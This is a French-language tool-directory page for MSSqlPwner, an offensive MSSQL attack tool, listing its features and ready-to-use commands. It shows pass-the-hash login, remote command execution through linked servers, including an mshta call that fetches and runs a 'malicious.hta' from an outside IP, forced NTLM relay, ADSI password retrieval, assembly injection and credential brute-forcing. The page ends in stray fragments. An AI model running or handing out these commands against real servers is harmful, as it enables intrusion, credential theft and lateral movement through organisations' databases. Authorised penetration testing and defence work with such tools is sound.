Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
MSSqlPwner — Outil avancé de test d'intrusion MSSQL pour le mouvement latéral, l'exécution de commandes, le relais NTLM et les attaques par force brute via des serveurs liés et plusieurs méthodes d'authentification. | Kitploit
Outils/GitHubGitHub/scorpioneslabs/mssqlpwner
Attaques de Mots de PasseExploitationMouvement LatéralCollecte d'InformationsTests d'IntrusionAuthentificationRed TeamingSécurité des Bases de Données
GitHubscorpioneslabs/mssqlpwner

MSSqlPwner

Outil avancé de test d'intrusion MSSQL pour le mouvement latéral, l'exécution de commandes, le relais NTLM et les attaques par force brute via des serveurs liés et plusieurs méthodes d'authentification.

Voir le dépôt
458637il y a 27 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

MSSqlPwner

MSSqlPwner est un outil de test de pénétration avancé et polyvalent conçu pour interagir de manière transparente et pwn les serveurs MSSQL. Cet outil est basé sur impacket, qui permet aux attaquants de s'authentifier aux bases de données en utilisant des mots de passe en clair, des hashs NTLM et des tickets Kerberos. Avec MSSqlPwner, les utilisateurs peuvent exécuter des commandes personnalisées via diverses méthodes, notamment l'assembly personnalisé, xp_cmdshell, et sp_oacreate (Ole Automation Procedures) et bien plus encore.

L'outil commence par une énumération récursive des serveurs liés et des usurpations possibles afin de rassembler toutes les chaînes possibles pour l'exécution de commandes.

De plus, l'outil MSSqlPwner peut être utilisé pour des capacités de relais NTLM, en utilisant des fonctions telles que xp_dirtree, xp_subdirs, xp_fileexist.

Cet outil peut être utilisé pour des évaluations de mouvement latéral et l'exploration de serveurs liés.

Si l'utilisateur MSSQL authentifié n'a pas la permission d'exécuter certaines opérations, l'outil peut trouver la bonne chaîne qui permettra l'exécution de commandes. Par exemple, si votre utilisateur ne peut pas exécuter de commandes dans le contexte actuel, l'outil construira une chaîne qui utilisera un serveur lié et se reconnectera à notre serveur avec des privilèges élevés.

Installation

Démarrer avec mssqlpwner est simple. Vous pouvez le faire en installant directement depuis le dépôt :

root@kitploit:~
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

Ou, en utilisant pipx - et vous devriez -, essayez ceci :

root@kitploit:~
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

Et vous pouvez maintenant utiliser votre nouvel outil favori :

root@kitploit:~
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive

Exemples

Exécution de commandes

Bruteforce

Cet outil est pris en charge par plusieurs méthodes d'authentification et est décrit ci-dessous.

Disclaimer

Cet outil est conçu pour les professionnels de la sécurité et les chercheurs à des fins de test uniquement et ne doit pas être utilisé à des fins illégales.

Fonctionnalités :

  1. Utilitaires :
  • interactive : permet d'utiliser l'outil de manière interactive avec exécution en direct.
  • enumerate : énumère les serveurs liés et les chaînes.
  • get-chain-list obtient la liste des chaînes :
    • Arguments optionnels :
      • -filter-hostname HOSTNAME - Obtenir les résultats filtrés avec un nom d'hôte spécifique.
  • get-link-server-list obtient la liste des serveurs liés.
  • set-chain Définit l'ID de chaîne (Pour le mode interactif uniquement !)
    • Arguments requis :
      • CHAIN - L'ID de chaîne à définir.
  • set-link-server Définit le serveur lié (Pour le mode interactif uniquement !)
    • Arguments requis :
      • LINK - Le serveur lié à définir.
  • get-rev2self-queries récupère les requêtes pour revenir à SELF (Pour le mode interactif uniquement !).
  • get-adsi-provider-list récupère la liste des fournisseurs ADSI.
  1. Exécution de commandes :
  • exec Exécute des commandes en utilisant exec sur le serveur local ou sur des serveurs liés
    • Arguments requis :
      • COMMAND - La commande à exécuter.
    • Arguments optionnels :
      • -command_execution_method - La méthode d'exécution de commande à utiliser.
        • Méthodes prises en charge :
          • xp_cmdshell - Exécute des commandes en utilisant la procédure xp_cmdshell (Par défaut).
          • sp_oacreate - Exécute des commandes en utilisant la procédure Ole Automation Procedure (Doit être utilisée comme "cmd /c quelque chose").
  1. Récupération de mot de passe :
  • retrieve-password Récupération de mot de passe à partir de fournisseurs ADSI.
    • Arguments optionnels :
      • -listen-port - Le port d'écoute (Par défaut : 1389).
      • -adsi-provider - Fournisseur ADSI à utiliser (s'il n'est pas défini, il choisira automatiquement).
      • -arch - L'architecture à utiliser (si elle n'est pas définie, elle choisira automatiquement).
        • Architectures prises en charge :
          • x86 - Utiliser l'architecture x86.
          • x64 - Utiliser l'architecture x64.
  1. Vol et relais de hash NTLM :
  • ntlm-relay - Forcer le relais NTLM vers un serveur.
    • Arguments requis :
      • SMB_SERVER - Le serveur SMB vers lequel relayer.
    • Arguments optionnels :
      • -relay-method - La méthode de relais à utiliser.
        • Méthodes prises en charge :
          • xp_dirtree - Utiliser la procédure xp_dirtree (Par défaut).
          • xp_subdirs - Utiliser la procédure xp_subdirs.
          • xp_fileexist - Utiliser la procédure xp_fileexist (Dans certaines situations, ce module doit être exécuté à partir d'une chaîne privilégiée).
  1. Exécution de procédure à l'aide d'un assembly personnalisé :
  • custom-asm - Exécute des procédures en utilisant un assembly personnalisé
    • Arguments requis :
      • COMMAND - La commande/chemin ou requête à utiliser.
    • Arguments optionnels :
      • -procedure-name - Le nom de la procédure à utiliser (Par défaut : execute_command).
        • Procédures prises en charge :
        • execute_command - Exécute des commandes en utilisant un assembly personnalisé (Par défaut).
        • run_query - Exécute des requêtes en utilisant un assembly personnalisé.
        • run_query_system_service - Exécute des requêtes en utilisant un assembly personnalisé en tant qu'utilisateur système (Comme SqlSVC).
  • inject-custom-asm Injecte du code en utilisant un assembly personnalisé.
    • Arguments requis :
      • file_location - L'emplacement du fichier à injecter.
    • Arguments optionnels :
    • -procedure-name - Le nom de la procédure à utiliser (Par défaut : ).
  1. Requêtes directes
  • direct-query Exécute des requêtes directes
  • Arguments requis :
    • QUERY - La requête à exécuter.
  • Arguments optionnels :
  • -query-method - La méthode de requête à utiliser.
    • Méthodes prises en charge :
      • OpenQuery - Utiliser la procédure OpenQuery (Par défaut).
      • exec_at - Utiliser la procédure exec AT.
  1. Bruteforce
  • brute Lance un bruteforce (Peut recevoir des tickets, des hashs et des mots de passe)
  • Arguments requis :
    • TARGETS_FILE - un fichier contenant les hôtes et IP à bruteforcer.
    • -ul - un fichier contenant les utilisateurs à bruteforcer.
  • Arguments optionnels :
    • -pl - un fichier contenant les mots de passe à bruteforcer.
    • -tl - un fichier contenant les tickets à bruteforcer.
    • -hl - un fichier contenant les hashs à bruteforcer.
  • Remarques :
  • Si vous souhaitez utiliser des tickets, vous devez utiliser le format Service Principal Name (SPN) (Comme MSSQLSvc/hostname.domain.com:1433).
  • Si vous utilisez des tickets, vous n'êtes pas obligé de définir des mots de passe ou des hashs.
  • Si vous N'utilisez PAS de tickets, vous devez fournir au moins un fichier de mots de passe ou un fichier de hashs.

Arguments optionnels généraux (Doivent être AVANT la fonction choisie) :

  • -link-name - Le nom du serveur lié à utiliser
  • -chain-id - L'ID de chaîne à utiliser
  • -max-link-depth - La profondeur maximale de lien à utiliser (Par défaut : 10)
  • -max-impersonation-depth - La profondeur maximale d'usurpation à utiliser (Par défaut : 10)
  • -auto-yes - Répondre automatiquement oui à toutes les questions (Par défaut : Faux)
  • -timeout - Le délai d'attente à utiliser (Par défaut : 30)

Mouvement latéral et exploration de chaîne :

MSSqlPwner offre des opportunités pour les évaluations de mouvement latéral et l'exploration de serveurs liés. Dans les scénarios où la session actuelle manque de privilèges administratifs, l'outil tente de trouver une chaîne qui élève ses propres privilèges via des serveurs liés. Si une session sur un serveur lié a des privilèges plus élevés, l'outil peut interagir avec le serveur lié et effectuer une requête liée de retour vers l'hôte avec des privilèges élevés, permettant un mouvement latéral avec le serveur cible.

Méthodes d'authentification :

Pris en charge par plusieurs méthodes d'authentification, notamment :

  • Identifiants Windows
  • Identifiants MSSQL
  • Authentification Kerberos
  • Tickets Kerberos
  • Hashs NTLM

L'outil s'adapte à divers scénarios et environnements, vérifiant l'efficacité des mécanismes d'authentification.

Améliorez vos évaluations d'environnement MSSQL avec la puissance et la polyvalence de MSSqlPwner. Découvrez de nouvelles possibilités de mouvement latéral, d'interrogation furtive et d'évaluations de sécurité précises avec l'outil MSSqlPwner.

Utilisation

root@kitploit:~
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive

# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth  -max-impersonation-depth 2 interactive


# Executing custom assembly on the current server with windows authentication and executing hostname command 
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250

# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"

# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password

# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

Remerciements

  • Kim Dvash pour la conception de ce logo incroyable.
  • Pablo Martínez pour l'inspiration et l'idée de la technique de récupération de mot de passe.
  • Omri Baso pour l'aide avec l'inspiration et les idées.
Télécharger l’outil
  • rev2self revenir à SELF (Pour le mode interactif uniquement !).
  • Inject